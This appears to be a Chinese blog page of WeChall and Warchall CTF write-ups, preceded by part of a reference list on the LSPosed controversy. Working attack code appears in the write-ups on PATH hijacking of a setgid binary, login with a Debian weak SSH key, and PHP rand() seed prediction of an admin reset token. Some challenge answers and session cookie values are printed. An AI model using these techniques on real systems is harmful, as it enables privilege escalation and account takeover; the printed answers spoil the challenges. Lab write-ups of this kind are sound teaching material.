S11 JingMatrix/Vector GitHub github.com/JingMatrix/Vector 当前最活跃 fork,~10.9K stars,v2.0 (2026-03-22),Android 8.1~17 Beta
S12 re-zero001/LSPosed-Irena github.com/re-zero001/LSPosed-Irena 已归档 (2026-06-01),~2.5K stars,支持 ZygiskNext
S13a LSPosed Telegram 频道 t.me/s/LSPosed 闭源分发的官方 Telegram 频道
S13b LSPosed 投票 (2024-04-03) t.me/s/LSPosed/276 15,274 票:48% 不介意闭源 / 48% 仅用开源 / 4% 不希望恢复
S13c LSPosed 内测招募公告 (2024-04-26) t.me/s/LSPosed (2024-04-26 消息) "内测人员无权访问软件的源代码"
S13d LSPosed Telegram 历史消息(滚动页面,非固定锚点;长期可能因消息排列变化而失效) t.me/s/LSPosed?before=276 及后续页面 版本发布、公告、CDN 事件等
S13e LSPosedArchives Telegram t.me/s/LSPosedArchives 停更声明全文、PixelProps 争议细节
S13f LSPosed 内测开始 (2024-10-28)(注:同 S13d,滚动页面) t.me/s/LSPosed?before=288 base64 邀请链接分发
S13g bot.lsposed.org bot.lsposed.org 内测申请页面,"放弃访问源代码的权利"条款
S14 LSPatch GitHub github.com/LSPosed/LSPatch 2023-12-13 归档,read-only
S15 libxposed GitHub github.com/libxposed/api API 设计,Dr-TSNG 维护,API 101 RFC (2026-03)
S16 IT之家: LSPosed 停更 www.ithome.com/0/744/038.htm 2024-01-08 LSPosed 停更初报,含 Magisk 社区攻击描述
S16a IT之家: LSPosed 后续 www.ithome.com/0/744/246.htm 2024-01-09: KSU/ZygiskNext/Shamiko 停更、weishu 声明、PixelProps 争议
S17 Appuals: LSPosed Shuts Down appuals.com/lsposed-ceases-operations/ 英文媒体报道 LSPosed 停更消息
S18 ThePedroo/ReLSPosed github.com/ThePedroo/ReLSPosed 已归档 fork
S19 XDA: "Is there any new Lsposed fork" xdaforums.com/t/is-there-any-new-lsposed-fork-or-other-version-that-is-maintained.4662631/ 社区 fork 讨论汇总
S20 KernelSU GitHub Releases github.com/tiann/KernelSU/releases 2024-01-18 v0.7.6 发布,证明解除归档
S21 XDA: "Beware of LSPosed" (已关闭) xdaforums.com/t/closed-beware-of-lsposed-the-fall-of-an-open-source-project-into-malware.4715372/ 2025-01-26 警告帖
S22 XDA: "WARNING: LSPosed IT is a MALWARE" (已关闭) xdaforums.com/t/closed-warning-lsposed-it-is-a-malware.4738989/ 2025-05-24,v7281 远程控制报告
S23 exposelsposed.pages.dev exposelsposed.pages.dev GPLv3 违规抵制网站
S24 XDA: "Security analysis of the LSPosed beta version" xdaforums.com/t/security-analysis-of-the-lsposed-beta-version.4750843/ 2025-07-20,sb.sh/sppsvc 恶意代码分析
S25 JingMatrix/Vector Issue #492 github.com/JingMatrix/Vector/issues/492 "There is no reason for us to keep compatibility with a closed-source software."
S26 Vector v2.0 Release github.com/JingMatrix/Vector/releases/tag/v2.0 2026-03-22 发布公告,API 100 最终化
S27 JingMatrix GitHub Profile github.com/JingMatrix 数学博士(PhD),法国图卢兹,1998年生
S28 V2EX @jingmatrix v2ex.com/member/jingmatrix 中文社区自我介绍,"我目前在开发和维护 LSPosed 以及 LSPatch"
S29 Magisk.dev: LSPosed IT 页面(第三方聚合站,非官方源) magisk.dev/modules/lsposed-it-liviafontes/ LiviaFontes 分发信息,"not open-source"
S30 EdXposed Android R commit 对比 github.com/ElderDrivers/EdXposed/compare/v0.4.6.1...master 2020-04-27 开始 Android 11 适配,solohsu / swift_gan
S31 CloudSEK: Weaponizing LSPosed www.cloudsek.com/blog/weaponizing-lsposed-remote-sms-injection-and-identity-spoofing-in-modern-payment-ecosystems 2026-03, @Syntext_Erorr (Berlin) 为印度籍威胁行为者,出售 UPI 绕过工具 (Digital Lutera)
S32 中国 GPL 司法案例参考 罗盒玩友案: zh.wikisource.org/wiki/广州知识产权法院(2019)粤73知民初207号民事判决书; 罗盒风灵案: ipc.court.gov.cn/zh-cn/news/view-3655.html; 网经科技案: ipc.court.gov.cn/zh-cn/news/view-3017.html; 2025最高法年度报告: ipc.court.gov.cn/zh-cn/news/view-5320.html 罗盒案确认 GPL 合同效力; 网经科技案确认违反 GPL≠丧失著作权; 2025 年度报告: 未开源可作为赔偿考量
S33 Magisk v24.0 Release github.com/topjohnwu/Magisk/releases/tag/v24.0 2022-01-26 引入 Zygisk,移除 MagiskHide
S34 Riru GitHub github.com/RikkaApps/Riru 2024-01-08 归档,标注 Deprecated
S35 Play Integrity Fix GitHub github.com/chiteroman/PlayIntegrityFix PIF 模块,SafetyNet→Play Integrity 迁移后的玩机圈标配

Challenge

This is the level11 mini challenge found in /home/level/11_choose_your_path2/ on the warchall box.

Choose your Path 续集。同样是一个 C 程序 charp2,用 popen() 执行 wc 统计文件行数和字符数。

与 level10 charp 的区别:

特性 charp (level10) charp2 (level11)
wc 路径 硬编码 /usr/bin/wc 直接用 wc(依赖 PATH)
参数包裹 直接拼接 单引号包裹 '%s'
引号转义 escape_single_quotes()''\''

Level 10 是靠 command injection(popen() 不处理 shell metachar),而 level 11 加上了单引号包裹和转义函数,所以 command injection 被堵了。

但新的漏洞是:wc 没有指定绝对路径,可以通过 PATH 环境变量劫持。

Solution

charp2 是 setgid level11 的程序:

1
2
3
$ ls -la /home/level/11_choose_your_path2/
-rwxr-sr-x 1 level11 level11 16440 ... charp2 # setgid!
-rw-r----- 1 root level11 297 ... solution.txt # 只有 level11 可读

solution.txt 只允许 level11 group 读取,但 charp2 执行时有效 GID 变成 level11,所以可以读取。

攻击步骤:

  1. 创建一个 fake wc 脚本
  2. 把它的目录加到 PATH 最前面
  3. 运行 charp2,它通过 popen("wc -l '...'") 执行时,会找到我们的 fake wc
  4. fake wc 继承 charp2 的 setgid 权限(popen/bin/sh -cexec,dash 不会丢弃 setgid),能读取 solution.txt
1
2
3
4
5
6
7
8
9
10
11
12
# 创建 fake wc
mkdir -p ~/mypayload
cat > ~/mypayload/wc << 'EOF'
#!/bin/bash
cat /home/level/11_choose_your_path2/solution.txt 1>&2
echo "1 5" # 让 charp2 能正常解析数字
EOF
chmod +x ~/mypayload/wc

# 执行
cd /home/level/11_choose_your_path2
PATH=~/mypayload:$PATH ./charp2 solution.txt

原理:

  • popen("wc -l 'solution.txt'", "r")/bin/sh -c "wc -l 'solution.txt'"
  • /bin/sh is dash(不是 bash),dash 会丢弃继承的 setgid
  • dash 通过 PATH 找到我们的 ~/mypayload/wc,执行时仍保有 charp2 的 EGID=level11
  • 所以 fake wc 可以 cat solution.txt
CodingIsDamnHard3

Challenge

WeChall 会请求你服务器的 /WechallUsername/[0-9]+_mul_[0-9]+.html 路径,你的服务器需返回两数乘积。

表单只提交 port,IP 由 WeChall 自动检测(从请求的 TCP 源 IP)。

Solution

需要一台满足两个条件的机器: 1. 公网 IP 可被 WeChall 访问(入站) 2. 能出站到 WeChall(提交表单)

方案:临时 Vultr VPS

vultr-cli 在 Frankfurt 区域开一台 Debian 12 VPS:

1
2
3
4
5
6
# 安装 CLI
sudo pacman -S vultr-cli
export VULTR_API_KEY='your-api-key'

# 开机器
vultr-cli instance create --region fra --plan vc2-1c-1gb --os 2136 --host wechall-ctf

拿到 IP 和 root 密码后:

1
2
3
4
5
6
7
8
9
10
11
# 部署 rewrite server
scp rw.py root@IP:/tmp/
ssh root@IP 'nohup python3 /tmp/rw.py 8889 > /tmp/rw.log 2>&1 &'

# 开放防火墙
ssh root@IP 'ufw allow 8889/tcp'

# 提交表单
curl -b 'WC=YOUR_COOKIE' \
-d 'port=8889&go=I+have+set+it+up.+Please+check+my+server.' \
'https://www.wechall.net/en/challenge/training/www/rewrite/index.php'

Rewrite Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import http.server, re, sys

class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
m = re.match(r'^/WechallUsername/([0-9]+)_mul_([0-9]+)\.html$', self.path)
if m:
r = str(int(m.group(1)) * int(m.group(2)))
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(r.encode())
else:
self.send_response(200)
self.end_headers()
self.wfile.write(b'ready')

httpd = http.server.HTTPServer(('0.0.0.0', int(sys.argv[1])), H)
httpd.serve_forever()

注意事项

  • 注意开放 UFW/iptables 端口(Vultr Debian 默认 INPUT DROP)
  • Vultr 防火墙组也要加规则,或者不用 Vultr 防火墙直接用 UFW
  • 用完删实例避免继续计费:vultr-cli instance delete <ID>
  • 最低成本 ~$0.004/hr(vc2-1c-1gb 约 $5/月,按小时计费)

Challenge

Java applet 实现汉诺塔,10 个盘子从左柱移到右柱,限 60 秒。无法在现代浏览器直接运行(Java applet 已被弃用),需要逆向 jar 文件离线算出答案。

Solution

Step 0: 获取 JAR

JAR 文件在挑战页面的 <applet> 标签中通过 archive="hanoi2.jar" 引用,与页面同目录:

1
$ wget https://www.wechall.net/challenge/Z/hanoi/hanoi2.jar

Step 1: 逆向分析

1
2
$ jar xf hanoi2.jar
$ javap -c -p Tower.class Tower\$TowerPanel.class

反编译关键发现:

  • 每次合法拖拽后,mouseUp() 构造 last_tower + new_tower(如 "a" + "b" = "ab"),调用 Tower.query(move)
  • query()/challenge/Z/hanoi/?query=<move> 发 HTTP 请求,读取服务器返回的 2 字符响应,追加到 solution 字符串
  • 所有 10 盘移到右柱(win=true)时,对 solution 做 SHA-512,导航到 ?solution=<hash>
  • 60 秒超时(javax.swing.Timer),移动超过 1023 步自动重置

Step 2: 获取 6 种 query 的返回值

服务器对每种合法移动返回固定 2 字符令牌:

Move Response
ab we
ac ch
ba lr
bc al
ca ul
cb z!

这些值可通过实际运行 applet 抓包或直接 curl 逐个获取:

1
2
$ curl -s 'https://www.wechall.net/challenge/Z/hanoi/?query=ab'
we

Step 3: 生成最优序列

10 盘汉诺塔最优解需要 2^10 − 1 = 1023 步。经典的递归解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import hashlib

MOVE_RESP = {
'ab': 'we', 'ac': 'ch', 'ba': 'lr',
'bc': 'al', 'ca': 'ul', 'cb': 'z!',
}
TOWER = ['a', 'b', 'c']

def hanoi_moves(n, src, dst, aux):
if n == 0: return
yield from hanoi_moves(n - 1, src, aux, dst)
yield (src, dst)
yield from hanoi_moves(n - 1, aux, dst, src)

moves = list(hanoi_moves(10, 0, 2, 1))
solution = ''.join(
MOVE_RESP[TOWER[s] + TOWER[d]] for s, d in moves
)
sha = hashlib.sha512(solution.encode()).hexdigest()
print(sha)

输出的 SHA-512 即为答案。

Step 4: 提交

1
$ curl "https://www.wechall.net/challenge/Z/hanoi/index.php?solution=<sha512>"

服务器返回 "Correct!" 即通过。

注意: 该 hash 是确定性的(固定响应表 + 最优路径 = 固定 result),所以可以直接用提交的方式跳过 applet。如服务器已有提交记录,会提示 "Your answer is correct but you have already solved this challenge."

feb3a1f6e5e259f381f42a4e72aceaea204403fab7eec9a2d3d0bcff076a647be88f6f6caeeb1b6295aabba9807f1a2260b466f9f0512498fb50300703eb2552

Challenge

Warchall level8:Z 睡着了,SSH key 暴露在 /home/level/08_sshz/backups/。目标是找到对应私钥,以 level08 登录。

Solution

这题利用 Debian OpenSSL 弱密钥漏洞(2008 年 CVE-2008-0166)。Debian 的 OpenSSL 包因注释掉 md_rand.c 中两行 MD_Update(&m,buf,j),导致 PRNG 仅以进程 PID 作为随机种子,可能的密钥只有 32768 种。

Step 1: 获取 public key

1
2
3
# 从 Warchall 服务器读取公钥
$ cat /home/level/08_sshz/backups/authorized_keys.backup
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLbM20VLy+Bf7fjHk...

Step 2: 计算 MD5 fingerprint

1
2
$ ssh-keygen -l -E md5 -f authorized_keys.backup
2048 MD5:2b:cd:07:a7:01:e9:4a:04:74:d7:7e:e4:d6:d0:f8:06 ...

Step 3: 在 Debian weak key 集中匹配

下载已知弱密钥集合。原 ANSSI-FR 仓库已被删除,可使用 g0tmi1k 维护的镜像:

1
2
3
4
5
6
7
8
9
10
# 克隆镜像(如已有关键集合可跳过)
$ git clone https://github.com/g0tmi1k/debian-ssh
$ cd debian-ssh

# 解压 RSA 2048 位 SSH 密钥
$ tar -xjf common_keys/debian_ssh_rsa_2048_x86.tar.bz2

# 去掉冒号搜索指纹文件名
$ find rsa/ -name '*2bcd07a701e94a0474d77ee4d6d0f806*'
rsa/2048/2bcd07a701e94a0474d77ee4d6d0f806-23669

指纹对应 PID 23669 的 RSA 2048 位密钥。

说明: 该 key set 的文件名格式为 <fingerprint_hex>-<PID>,因此直接 find 匹配指纹(去除冒号)即可定位,无需逐 key 计算。

Step 4: SSH 登录

1
2
$ ssh -i rsa/2048/2bcd07a701e94a0474d77ee4d6d0f806-23669 \
level08@warchall.net -p 19198

注意:用户是 level08,不是 z;使用 -i 指定密钥文件。端口 19198 是 Warchall SSH 服务端口。

PrivateKeysAreGold

Challenge

题目要求将一个 170+ 位的大整数分解质因数,限时 6 秒。

Solution

直接分解这么大的数是不现实的。但题目有一个关键缺陷:提交错误答案后,服务器会在错误信息中泄露正确的答案,并且挑战数字保持不变。

所以解法分三步:

  1. 请求一个新数字
  2. 提交任意错误答案(如 solution=1)→ 服务器返回 Correct would have been "xxx"
  3. 用泄露的正确答案重新提交
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests, re

cookies = {'WC': 'YOUR_WECHALL_COOKIE'}
base = 'https://www.wechall.net/en/challenge/impossible/index.php'

# Step 1: request new number
r = requests.get(f'{base}?request=new_number', cookies=cookies)
csrf = re.search(r'name="gwf3_csrf" value="([^"]+)"', r.text).group(1)

# Step 2: submit wrong answer to leak the correct one
r2 = requests.post(base, data={
'solution': '1',
'solve': 'Submit',
'gwf3_csrf': csrf
}, cookies=cookies)
correct = re.search(r'Correct would have been "(\d+)"', r2.text).group(1)

# Step 3: submit the correct answer
r3 = requests.post(base, data={
'solution': correct,
'solve': 'Submit',
'gwf3_csrf': csrf
}, cookies=cookies)

print("Solved!" if 'correct' in r3.text.lower() else "Failed")

Challenge

题名 "Pimitive Encryption" 是 "Pi" + "Primitive" 的谐音。一个用 One-Time Pad XOR 加密的文件,提示 key 是 "logical" 的。

加密文件 116921 字节,URL 上直接下载 pimitive.zip

Solution

Step 1: 确认 key = π 的十进制字符串

已知加密文件应为 ZIP(magic PK\x03\x04)。前 4 字节 XOR:

1
2
3
CIPHER:  63 DF 65 CF
ZIP: 50 4B 03 04
KEY: 33 2E 31 34 → "3.14"

key 是圆周率 π 的十进制展开字符串 "3.1415926535...",一次性 XOR 整个文件(不循环重复)。

Step 2: 生成 116921 位 π

方法 A(推荐):用 pi.delivery API 分块拉取

1
2
3
4
5
6
7
8
9
import requests

digits = "3."
start = 1 # after decimal point
while len(digits) < 116921:
n = min(1000, 116921 - len(digits))
r = requests.get(f"https://api.pi.delivery/v1/pi?start={start}&numberOfDigits={n}&radix=10")
digits += r.json()["content"]
start += n

方法 B:Chudnovsky 算法 + Python decimal 高精度

1
2
3
4
5
from decimal import Decimal, getcontext

getcontext().prec = 120000
# Chudnovsky series: π = 426880√10005 / Σ(k=0..∞) (6k)!(13591409+545140134k)/(3k)!(k!)^3(-640320)^(3k)
# 迭代约 8300 次收敛到 120K 位

Step 3: XOR 解密

1
2
3
key = pi_str.encode()[:len(enc)]
dec = bytes(e ^ k for e, k in zip(enc, key))
# → 输出为有效 ZIP 文件,含 netforce33.bmp

Step 4: 解压提取 BMP

1280×384 的 BMP 图片,内容为 "OneTimePad" 字样下方一行字。Tesseract OCR 或肉眼辨认:

1
Actually the password is: Botterbloom
Botterbloom

Challenge

题目不是考常见服务端口,而是要求 WeChall 服务器看到你的客户端源端口为 42

题面里的 "remote-port" 指的是服务器视角下的 remote port,也就是你的本地源端口。

Solution

用能绑定本地源端口的 HTTP 客户端访问挑战页:

1
2
3
$ curl --local-port 42 \
-b 'WC=YOUR_WECHALL_COOKIE' \
'http://www.wechall.net/en/challenge/training/net/ports/index.php'

Linux 默认低于 1024 的端口是 privileged port。普通用户绑定 42 会失败:

1
curl: (45) bind failed with errno 13: Permission denied

可选方案:

  • sudo curl --local-port 42(需要 sudo 权限)
  • 给 curl 加 CAP_NET_BIND_SERVICEsetcap cap_net_bind_service=+ep $(which curl)
  • 从一台有 root 权限且直连互联网的服务器发起请求

本题没有固定密码——连接源端口正确即自动通过。WeChall 服务器检测 TCP 连接的 source port,无需提交任何答案表单。

Challenge

Find the sentence hidden in me or I'll have to destroy you.

一张 256x256 的纯红色图像 op.png,只有 R 通道有数据(G=B=0)。

Solution

图像的 R 通道值范围 0-253,共 242 个唯一值。直接读取像素值无法得到可读文本(多数值 > 127,超出 ASCII 可打印范围)。

关键思路:素数筛选。只保留 R 通道值为素数的像素,其余设为白色。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from PIL import Image
from math import sqrt

def is_prime(n):
if n < 2: return False
if n == 2: return True
if n % 2 == 0: return False
for i in range(3, int(sqrt(n)) + 1, 2):
if n % i == 0: return False
return True

img = Image.open('op.png')
w, h = img.size
result = Image.new('RGB', (w, h), (255, 255, 255))

for y in range(h):
for x in range(w):
r, g, b = img.getpixel((x, y))
if is_prime(r):
result.putpixel((x, y), (0, 0, 0))
else:
result.putpixel((x, y), (255, 255, 255))

result.save('simply_red_primes.png')

需要人工读取图像,得到文本。

PrimalOffset

Challenge

提交 admin@wechall.net 的 password reset token。Token 绑定 session,源码公开。

Solution

漏洞分析

源码(?highlight=christmas)暴露了 token 生成逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 每次请求(GET 或 POST)都重新播种
srand(time() + rand(0, 100));
$csrf = ttr_random(32); // 页面中 <input name="csrf">

// POST reset 时额外生成 token
$token = ttr_random(16); // 即要预测的目标

function ttr_random($len, $alpha='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
{
$alphalen = strlen($alpha) - 1;
$key = '';
for ($i = 0; $i < $len; $i++) {
$key .= $alpha[rand(0, $alphalen)];
}
return $key;
}

种子 = time() + rand(0, 100),仅 101 种可能。CSRF token(32 字符)是种子后的首次 32 次 rand() 输出,直接暴露在页面中。

页面中的两个 token

挑战页面包含两个 hidden input:

  • csrf(32 字符)— 位于 password reset form 内

    1
    2
    3
    <tr><td colspan="3">
    <input type="hidden" name="csrf" value="5faruVeXQSpw78BPrkYpJqPqmmJfKXdI" />
    </td>
    右键 → 查看页面源代码,搜索 name="csrf" 即可找到。

  • gwf3_csrf(8 字符)— 位于 solution form 内,用于提交答案

    1
    <input type="hidden" name="gwf3_csrf" value="eIt0IMws" />

破解流程

关键:用来破解读取的不是 GET 页面的 CSRF,而是 POST 请求返回页面的 CSRF。因为每次请求 PHP 都重新 srand(time()+rand(0,100)),token 和页面 CSRF 在同一个种子下连续生成(32 + 16 次 rand 调用)。必须先 POST reset 触发 token 生成,再用响应页面中的新 CSRF 推导同一种子下的 token。

Step 1 — GET 页面,提取 CSRF 和 gwf3_csrf

1
2
3
4
curl -sk --max-time 15 -D /tmp/ttr_headers.txt \
-b 'WC=40700784-72047-P62VMhsWxh3elcYN' \
'https://www.wechall.net/en/challenge/time_to_reset/' \
| grep -oP 'name="csrf"\s*value="\K[^"]+'

输出:

1
lGYstQosLkv6kYxtH6Ftvj6GAjEEMklq

用同样的方式提取 gwf3_csrf

1
grep -oP 'name="gwf3_csrf"\s*value="\K[^"]+'

Step 2 — POST password reset,触发 token 生成

1
2
3
4
5
6
curl -sk --max-time 15 -D /tmp/ttr_headers2.txt \
-b 'WC=40700784-72047-P62VMhsWxh3elcYN' \
--data-urlencode 'email=admin@wechall.net' \
--data-urlencode 'reset=Request a Password reset' \
--data-urlencode 'csrf=lGYstQosLkv6kYxtH6Ftvj6GAjEEMklq' \
'https://www.wechall.net/en/challenge/time_to_reset/'

响应中会包含 msg_mail_sent 提示,以及一个全新csrf(同一请求中生成的):

1
<input type="hidden" name="csrf" value="7MkocZHPcc6rkDkGVaSRVltE1ONJH5zM" />

Step 3 — 从响应头获取服务器时间

1
2
grep -i '^date:' /tmp/ttr_headers2.txt
# Date: Sat, 13 Jun 2026 12:13:31 GMT

转换为 epoch:1781352811

Step 4 — PHP 离线暴力搜索种子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$csrf = "7MkocZHPcc6rkDkGVaSRVltE1ONJH5zM"; // 从 POST 响应提取
$server_time = 1781352811; // 从 Date header 提取
$alpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$alphalen = strlen($alpha) - 1;

for ($t = $server_time - 3; $t <= $server_time + 3; $t++) {
for ($offset = 0; $offset <= 100; $offset++) {
$seed = $t + $offset;
srand($seed);

$generated = '';
for ($i = 0; $i < 32; $i++) {
$generated .= $alpha[rand(0, $alphalen)];
}

if ($generated === $csrf) {
// 找到种子!预测 token(接下来 16 次 rand)
$token = '';
for ($i = 0; $i < 16; $i++) {
$token .= $alpha[rand(0, $alphalen)];
}
echo "SEED=$seed\nTOKEN=$token\n";
exit(0);
}
}
}
echo "NOT_FOUND\n";

执行:

1
2
3
php brute_force.php
# SEED=1781352853
# TOKEN=XfmLddQ4n1NuBpUD

搜索空间仅 101(偏移量)× 7(±3 秒)= 707 种组合,毫秒级出结果。

Step 5 — 提交预测的 token

1
2
3
4
5
6
curl -sk --max-time 15 \
-b 'WC=40700784-72047-P62VMhsWxh3elcYN' \
--data-urlencode 'answer=XfmLddQ4n1NuBpUD' \
--data-urlencode 'solve=Submit' \
--data-urlencode 'gwf3_csrf=eIt0IMws' \
'https://www.wechall.net/en/challenge/time_to_reset/'
XfmLddQ4n1NuBpUD
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE